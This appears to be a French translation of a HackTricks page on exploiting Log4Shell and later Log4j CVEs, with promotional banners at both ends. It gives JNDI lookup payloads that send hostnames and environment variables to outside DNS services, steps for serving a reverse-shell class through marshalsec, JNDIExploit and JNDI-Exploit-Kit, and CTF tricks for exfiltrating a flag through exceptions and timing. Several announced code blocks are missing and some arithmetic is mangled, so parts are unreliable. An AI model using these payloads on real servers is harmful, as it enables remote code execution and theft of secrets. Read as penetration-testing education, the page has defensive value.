* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks
Cette hypothèse a rapidement été dissipée lorsque **CVE-2021-4104** a été découvert pour impacter également Log4j 1.x, et la possibilité d'un impact potentiel sur Logback a été [évaluée](https://jira.qos.ch/browse/LOGBACK-1591). Les versions plus récentes de Logback, 1.3.0-alpha11 et 1.2.9, qui traitent cette vulnérabilité moins grave, ont maintenant été [publiées](https://search.maven.org/artifact/ch.qos.logback/logback-classic).\\
* **CVE-2021-45105** **\[Élevé]**: **Log4j 2.16.0** a été découvert comme étant vulnérable à une faille de DoS notée 'Élevée' en gravité. Apache a depuis publié une version log4j 2.17.0 corrigeant la CVE. Plus de détails sur ce développement sont fournis dans le [dernier rapport](https://www.bleepingcomputer.com/news/security/upgraded-to-log4j-216-surprise-theres-a-217-fixing-dos/) de BleepingComputer.
* [**CVE-2021-44832**](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/): Cette nouvelle CVE affecte la **version 2.17** de log4j. Cette vulnérabilité **nécessite que l'attaquant contrôle le fichier de configuration de log4j** car il est possible d'indiquer une URL JDNI dans un JDBCAppender configuré. Pour des informations sur la **vulnérabilité et l'exploitation**, [**lisez ces informations**](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/).
Cette vulnérabilité est très facile à découvrir car elle enverra au moins une **requête DNS** à l'adresse que vous indiquez dans votre payload. Par conséquent, des payloads tels que :
*`${jndi:ldap://x${hostName}.L4J.lt4aev8pktxcq2qlpdr5qu5ya.canarytokens.com/a}` (en utilisant [canarytokens.com](https://canarytokens.org/generate))
*`${jndi:ldap://c72gqsaum5n94mgp67m0c8no4hoyyyyyn.interact.sh}` (en utilisant [interactsh](https://github.com/projectdiscovery/interactsh))
*`${jndi:ldap://abpb84w6lqp66p0ylo715m5osfy5mu.burpcollaborator.net}` (en utilisant Burp Suite)
*`${jndi:ldap://2j4ayo.dnslog.cn}` (en utilisant [dnslog](http://dnslog.cn))
*`${jndi:ldap://log4shell.huntress.com:1389/hostname=${env:HOSTNAME}/fe47f5ee-efd7-42ee-9897-22d18976c520}` en utilisant (en utilisant [huntress](https://log4shell.huntress.com))
Notez que **même si une requête DNS est reçue, cela ne signifie pas que l'application est exploitable** (ou même vulnérable), vous devrez essayer de l'exploiter.
Certaines des plateformes mentionnées précédemment vous permettront d'insérer des données variables qui seront enregistrées lorsqu'elles sont demandées.\
Par exemple, vous pourriez demander quelque chose comme:\
ou comme `${`**`jndi:ldap://jv-${sys:java.version}-hn-${hostName}.ei4frk.dnslog.cn/a}`** et si une **requête DNS est reçue avec la valeur de la variable d'environnement**, vous savez que l'application est vulnérable.
Les hôtes fonctionnant sur des versions de JDK supérieures à 6u141, 7u131, 8u121 seront protégés contre le vecteur de chargement de classe LDAP MAIS PAS contre le vecteur de désérialisation. Cela est dû au fait que `com.sun.jndi.ldap.object.trustURLCodebase` est désactivé par défaut, donc JNDI ne peut pas charger de codebase à distance en utilisant LDAP. Mais nous devons souligner que la désérialisation et les fuites de variables sont toujours possibles.\
Cela signifie que pour exploiter les versions mentionnées, vous devrez abuser d'un gadget de confiance qui existe sur l'application Java (en utilisant ysoserial ou JNDIExploit, par exemple). Mais pour exploiter les versions inférieures, vous pouvez les faire charger et exécuter des classes arbitraires (ce qui rend l'attaque plus facile).
Pour plus d'informations (comme les limitations sur les vecteurs RMI et CORBA), consultez la section précédente de référence de nommage JNDI ou [https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/](https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/)
Pour cette exploitation, l'outil [**marshalsec**](https://github.com/mbechler/marshalsec) (téléchargez une [**version jar à partir d'ici**](https://github.com/RandomRobbieBF/marshalsec-jar)) sera utilisé pour créer un serveur de référence LDAP pour diriger les connexions vers notre serveur HTTP secondaire où l'exploit sera servi:
Nous voulons que la victime charge le code qui nous enverra un shell inversé, donc vous pouvez créer un fichier java appelé Exploit.java avec le contenu suivant:
Créez le **fichier de classe** en exécutant : `javac Exploit.java -source 8 -target 8`, puis exécutez un **serveur HTTP** dans le même répertoire où le fichier de classe a été créé : `python3 -m http.server`.\
Le **serveur LDAP de marshalsec doit pointer vers ce serveur HTTP**.\
Ensuite, vous pouvez faire exécuter la classe d'exploitation par le **serveur web vulnérable** en envoyant une charge utile comme suit :
_Veuillez noter que si Java n'est pas configuré pour charger une base de code à distance en utilisant LDAP, cette exploitation personnalisée ne fonctionnera pas. Dans ce cas, vous devez abuser d'une classe de confiance pour exécuter du code arbitraire._
Notez que pour une raison quelconque, l'auteur a supprimé ce projet de Github après la découverte de log4shell. Vous pouvez trouver une version mise en cache sur [https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2](https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2), mais si vous voulez respecter la décision de l'auteur, utilisez une méthode différente pour exploiter cette vulnérabilité.
De plus, vous ne pouvez pas trouver le code source dans la machine wayback, donc soit vous analysez le code source, soit vous exécutez le jar en sachant que vous ne savez pas ce que vous exécutez.
Pour cet exemple, vous pouvez simplement exécuter ce **serveur web vulnérable à log4shell** sur le port 8080: [https://github.com/christophetd/log4shell-vulnerable-app](https://github.com/christophetd/log4shell-vulnerable-app) (_dans le README, vous trouverez comment l'exécuter_). Cette application vulnérable enregistre avec une version vulnérable de log4shell le contenu de l'en-tête de requête HTTP _X-Api-Version_.
Après avoir lu le code pendant quelques minutes, dans _com.feihong.ldap.LdapServer_ et _com.feihong.ldap.HTTPServer_, vous pouvez voir comment les **serveurs LDAP et HTTP sont créés**. Le serveur LDAP comprendra quelle charge utile doit être servie et redirigera la victime vers le serveur HTTP, qui servira l'exploit.\
Dans _com.feihong.ldap.gadgets_, vous pouvez trouver **quelques gadgets spécifiques** qui peuvent être utilisés pour exécuter l'action souhaitée (potentiellement exécuter du code arbitraire). Et dans _com.feihong.ldap.template_, vous pouvez voir les différentes classes de modèles qui **généreront les exploits**.
**N'oubliez pas de vérifier `java -jar JNDIExploit-1.2-SNAPSHOT.jar -u` pour d'autres options d'exploitation. De plus, au cas où vous en auriez besoin, vous pouvez changer le port des serveurs LDAP et HTTP.**
De manière similaire à l'exploit précédent, vous pouvez essayer d'utiliser [**JNDI-Exploit-Kit**](https://github.com/pimps/JNDI-Exploit-Kit) pour exploiter cette vulnérabilité.\
Vous pouvez générer les URL à envoyer à la victime en exécutant :
_Cette attaque utilisant un objet Java généré sur mesure fonctionnera dans des laboratoires tels que la salle solaire THM. Cependant, cela ne fonctionnera généralement pas (car par défaut, Java n'est pas configuré pour charger un code distant en utilisant LDAP) je pense que c'est parce qu'il n'exploite pas une classe de confiance pour exécuter un code arbitraire._
Cette option est vraiment utile pour attaquer les **versions Java configurées pour ne faire confiance qu'à certaines classes et pas à tout le monde**. Par conséquent, **ysoserial** sera utilisé pour générer des **sérialisations de classes de confiance** qui peuvent être utilisées comme gadgets pour **exécuter un code arbitraire** (_la classe de confiance exploitée par ysoserial doit être utilisée par le programme Java victime pour que l'exploit fonctionne_).
En utilisant **ysoserial** ou [**ysoserial-modified**](https://github.com/pimps/ysoserial-modified), vous pouvez créer l'exploit de désérialisation qui sera téléchargé par JNDI:
Utilisez [**JNDI-Exploit-Kit**](https://github.com/pimps/JNDI-Exploit-Kit) pour générer des **liens JNDI** où l'exploit attendra des connexions des machines vulnérables. Vous pouvez servir **différentes exploitations qui peuvent être générées automatiquement** par JNDI-Exploit-Kit ou même vos **propres charges utiles de désérialisation** (générées par vous ou ysoserial).
Maintenant, vous pouvez facilement utiliser un lien JNDI généré pour exploiter la vulnérabilité et obtenir un **shell inversé** en envoyant simplement à une version vulnérable de log4j: **`${ldap://10.10.14.10:1389/generated}`**
Dans cette [**writeup CTF**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/), il est bien expliqué comment il est potentiellement **possible** d'**abuser** certaines fonctionnalités de **Log4J**.
> À partir de la version 2.16.0 (pour Java 8), la fonctionnalité de **recherche de messages a été complètement supprimée**. Les **recherches dans la configuration fonctionnent toujours**. De plus, Log4j désactive désormais l'accès à JNDI par défaut. Les recherches JNDI dans la configuration doivent désormais être activées explicitement.
> À partir de la version 2.17.0 (et 2.12.3 et 2.3.1 pour Java 7 et Java 6), **seules les chaînes de recherche dans la configuration sont étendues de manière récursive** ; dans toute autre utilisation, seule la recherche de niveau supérieur est résolue, et toutes les recherches imbriquées ne sont pas résolues.
Cela signifie que par défaut, vous pouvez **oublier d'utiliser toute exploitation `jndi`**. De plus, pour effectuer des **recherches récursives**, vous devez les configurer.
Dans ce CTF, l'attaquant contrôlait la valeur de `${sys:cmd}` et devait exfiltrer le flag à partir d'une variable d'environnement.\
Comme on peut le voir sur cette page dans les [**charges utiles précédentes**](jndi-java-naming-and-directory-interface-and-log4shell.md#verification), il existe différentes façons d'accéder aux variables d'environnement, telles que: **`${env:FLAG}`**. Dans ce CTF, cela était inutile, mais cela pourrait ne pas l'être dans d'autres scénarios réels.
Dans le CTF, vous ne pouviez pas accéder à stderr de l'application Java en utilisant log4J, mais les **exceptions Log4J sont envoyées à stdout**, qui était imprimé dans l'application Python. Cela signifiait qu'en déclenchant une exception, nous pouvions accéder au contenu. Une exception pour exfiltrer le flag était: **`${java:${env:FLAG}}`.** Cela fonctionne parce que **`${java:CTF{blahblah}}`** n'existe pas et qu'une exception avec la valeur du flag sera affichée:
Juste pour le mentionner, vous pouvez également injecter de nouveaux [**modèles de conversion**](https://logging.apache.org/log4j/2.x/manual/layouts.html#PatternLayout) et déclencher des exceptions qui seront enregistrées dans `stdout`. Par exemple:
Cela n'a pas été utile pour exfiltrer la date à l'intérieur du message d'erreur, car la recherche n'a pas été résolue avant le modèle de conversion, mais cela pourrait être utile pour d'autres choses telles que la détection.
Cependant, il est possible d'utiliser certains **modèles de conversion qui prennent en charge les regexes** pour exfiltrer des informations à partir d'une recherche en utilisant des regexes et en abusant des comportements de **recherche binaire** ou de **temps**.
Le modèle de conversion **`%replace`** peut être utilisé pour **remplacer** le **contenu** d'une **chaîne** même en utilisant des **regexes**. Cela fonctionne comme ceci: `replace{pattern}{regex}{substitution}`\
En abusant de ce comportement, vous pourriez faire en sorte que **replace déclenche une exception si le regex correspondait** à quelque chose à l'intérieur de la chaîne (et aucune exception si ce n'était pas trouvé) comme ceci:
Comme mentionné dans la section précédente, **`%replace`** prend en charge les **regexes**. Il est donc possible d'utiliser une charge utile de la [**page ReDoS**](../regular-expression-denial-of-service-redos.md) pour provoquer un **timeout** en cas de découverte du flag.\
Par exemple, une charge utile comme `%replace{${env:FLAG}}{^(?=CTF)((.`_`)`_`)*salt$}{asd}` déclencherait un **timeout** dans ce CTF.
Dans ce [**writeup**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/), au lieu d'utiliser une attaque ReDoS, il a utilisé une attaque d'**amplification** pour provoquer une différence de temps dans la réponse :
> Si le flag commence par `flagGuess`, le flag entier est remplacé par 29 `#` (j'ai utilisé ce caractère car il ne ferait probablement pas partie du flag). **Chacun des 29 `#` résultants est ensuite remplacé par 54 `#`**. Ce processus est répété **6 fois**, ce qui donne un total de ` 29*54*54^6* =`` `` `**`96816014208` `#`!**
> Le remplacement de tant de `#` déclenchera le timeout de 10 secondes de l'application Flask, ce qui entraînera l'envoi du code d'état HTTP 500 à l'utilisateur. (Si le flag ne commence pas par `flagGuess`, nous recevrons un code d'état non-500)
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
